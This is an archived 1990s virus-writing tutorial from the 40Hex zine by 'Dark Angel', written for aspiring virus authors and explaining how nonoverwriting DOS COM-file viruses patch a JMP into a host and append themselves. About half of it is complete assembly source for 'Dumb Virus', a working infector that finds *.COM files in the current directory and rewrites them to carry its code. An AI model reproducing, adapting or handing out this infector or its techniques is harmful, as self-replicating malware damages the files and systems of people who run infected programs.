💾 Archived View for spam.works › mirrors › textfiles › virus › datut002.txt captured on 2023-06-16 at 21:02:01.

View Raw

More Information

-=-=-=-=-=-=-


                    ???????????????????????????????????????
                    An Introduction to Nonoverwriting Virii
                    ???????????????????????????????????????
                                 By Dark Angel
                    ???????????????????????????????????????

  It seems that there are quite a few virus writers out there who just sit at
  home and churn out hacks of virii.  Yay.  Anybody with a disassembler and
  some free time can churn out dozens of undetectable (unscannable) variants
  of any given virus in an hour.  Others have not progressed beyond the
  overwriting virus, the type of virus with the most limited potential for
  spreading.  Still others have never written a virus before and would like
  to learn.  This article is designed as a simple introduction to all
  interested to the world of nonoverwriting virii.  All that is assumed is a
  working knowledge of 80x86 assembly language.

  Only the infection of COM files will be treated in this article, since the
  infection routine is, I think, easier to understand and certainly easier to
  code than that of EXE files.  But do not dispair!  EXE infections will be
  covered in the next issue of 40Hex.

  COM files are described by IBM and Microsoft as "memory image files."
  Basically, when a COM file is run, the file is loaded as is into memory.
  No translation or interpretation of any sort takes place.  The following
  steps occur when a COM file is run:

    1) A PSP is built.
    2) The file is loaded directly above the PSP.
    3) The program is run starting from the beginning.

  The PSP is a 256 byte header storing such vital data as the command line
  parametres used to call the program.  The file is located starting at
  offset 100h of the segment where the program is loaded.  Due to the 64K
  limit on segment length, COM files may only be a maximum of 64K-100h bytes
  long, or 65280 bytes.  If you infect a COM file, make sure the final size
  is below this amount or the PSP will get corrupted.

  Since the beginning of the file is at offset 100h in the segment (this is
  the reason for the org 100h at the start of assembly source for com files),
  the initial IP is set to 100h.  The key to understanding nonoverwriting COM
  virii is to remember that once the program is loaded into memory, it can be
  changed at will without affecting the actual file on disk.

  The strategy of an overwriting virus is to write the virus to the beginning
  of the COM file.  This, of course, utterly annihilates the original program.
  This, of course, is lame.  The nonoverwriting virus changes only the first
  few bytes and tacks the virus onto the end of the executable.  The new
  bytes at the beginning of the file cause the program, once loaded, to jump
  to the virus code.  After the virus is done executing, the original first
  few bytes are rewritten to the area starting at 100h and a jmp instruction
  is executed to that location (100h).  The infected program is none the
  worse for the wear and will run without error.

  The trick is to find the correct bytes to add to the beginning of the file.
  The most common method is to use a JMP instruction followed by a two byte
  displacement.  Since these three bytes replace three bytes of the original
  program, it is important to save these bytes upon infection.  The JMP is
  encoded with a byte of 0e9h and the displacement is simply the old file
  length minus three.

  To replace the old bytes, simply use code similar to the following:
    mov di, 100h
    mov si, offset saved_bytes
    movsw
    movsb

  And to return control to the original program, use the following:
    mov di, 100h
    jmp di

  or any equivalent statements.

  When writing nonoverwriting virii, it is important to understand that the
  variables used in the code will not be in their original locations.  Since
  virii are added to the end of the file, you must take the filesize into
  account when calculating offsets.  The standard procedure is to use the
  short combination of statements:

    call oldtrick
  oldtrick:
    pop  bp                           ; bp = current IP
    sub  bp, offset oldtrick          ; subtract from original offset

  After these statements have been executed, bp will hold the difference in
  the new offsets of the variables from the original.  To account for the
  difference, make the following substitutions in the viral code:

    lea dx, [bp+offset variable]
  instead of
    mov dx, offset variable

  and

    mov dx, word ptr [bp+offset variable]
  instead of
    mov dx, word ptr variable

  Alternatively, if you want to save a few bytes and are willing to suffer
  some headaches, leave out the sub bp, offset oldtrick and calculate all
  offsets as per the procedure above EXCEPT you must now also subtract offset
  oldtrick from each of the offsets.

  The following is a short nonoverwriting virus which will hopefully help in
  your understanding of the techniques explained above.  It's sort of cheesy,
  since I designed it to be small and easily understandable.  In addition to
  being inefficient (in terms of size), it fails to preserve file date/time
  and will not infect read-only files.  However, it serves its purpose well
  as a teaching aid.

  --------Tear line----------------------------------------------------------

  DumbVirus segment
  Assume    CS:DumbVirus
  Org 100h                 ; account for PSP

  ; Dumb Virus - 40Hex demo virus
  ; Assemble with TASM /m2

  Start:  db      0e9h     ; jmp duh
          dw      0

  ; This is where the virus starts
  duh:    call    next
  next:   pop     bp                   ; bp holds current location
          sub     bp, offset next      ; calculate net change

  ; Restore the original first three bytes
          lea     si, [bp+offset stuff]
          mov     di, 100h
  ; Put 100h on the stack for the retn later
  ; This will allow for the return to the beginning of the file
          push    di
          movsw
          movsb

  ; Change DTA from default (otherwise Findfirst/next will destroy
  ; commandline parametres
          lea     dx, [bp+offset dta]
          call    set_dta

          mov     ah, 4eh           ; Find first
          lea     dx, [bp+masker]   ; search for '*.COM',0
          xor     cx, cx            ; attribute mask - this is unnecessary
  tryanother:
          int     21h
          jc      quit              ; Quit on error

  ; Open file for read/write
  ; Note: This fails on read-only files
          mov     ax, 3D02h
          lea     dx, [bp+offset dta+30] ; File name is located in DTA
          int     21h
          xchg    ax, bx

  ; Read in the first three bytes
          mov     ah, 3fh
          lea     dx, [bp+stuff]
          mov     cx, 3
          int     21h

  ; Check for previous infection
          mov     ax, word ptr [bp+dta+26]       ; ax = filesize
          mov     cx, word ptr [bp+stuff+1]      ; jmp location
          add     cx, eov - duh + 3              ; convert to filesize
          cmp     ax, cx                         ; if same, already infected
          jz      close                          ; so quit out of here

  ; Calculate the offset of the jmp
          sub     ax, 3                          ; ax = filesize - 3
          mov     word ptr [bp+writebuffer], ax

  ; Go to the beginning of the file
          xor     al, al
          call    f_ptr

  ; Write the three bytes
          mov     ah, 40h
          mov     cx, 3
          lea     dx, [bp+e9]
          int     21h

  ; Go to the end of the file
          mov     al, 2
          call    f_ptr

  ; And write the rest of the virus
          mov     ah, 40h
          mov     cx, eov - duh
          lea     dx, [bp+duh]
          int     21h

  close:
          mov     ah, 3eh
          int     21h

  ; Try infecting another file
          mov     ah, 4fh                        ; Find next
          jmp     short tryanother

  ; Restore the DTA and return control to the original program
  quit:   mov     dx, 80h                        ; Restore current DTA to
                                                 ; the default @ PSP:80h
  set_dta:
          mov     ah, 1ah                        ; Set disk transfer address
          int     21h
          retn
  f_ptr:  mov     ah, 42h
          xor     cx, cx
          cwd                                    ; equivalent to: xor dx, dx
          int     21h
          retn

  masker  db      '*.com',0
  ; Original three bytes of the infected file
  ; Currently holds a INT 20h instruction and a null byte
  stuff   db      0cdh, 20h, 0
  e9      db      0e9h
  eov equ $                                      ; End of the virus
  ; The following variables are stored in the heap space (the area between
  ; the stack and the code) and are not part of the virus that is written
  ; to files.
  writebuffer dw  ?                              ; Scratch area holding the
                                                 ; JMP offset
  dta         db 42 dup (?)
  DumbVirus    ENDS
               END     Start

  ---------------------------------------------------------------------------

  Do not worry if not everything makes sense to you just yet.  I tried to
  keep the example virus as simple as possible, although, admittedly, the
  explanations were a bit cryptic.  It should all come to you in time.

  For a more complete discussion of nonoverwriting virii, pick up a copy of
  each of the first three parts of my virus writing guide (the phunky, the
  chunky, and the crunchy), where you may find a thorough tutorial on
  nonresident virii suitable for any beginning virus programmer.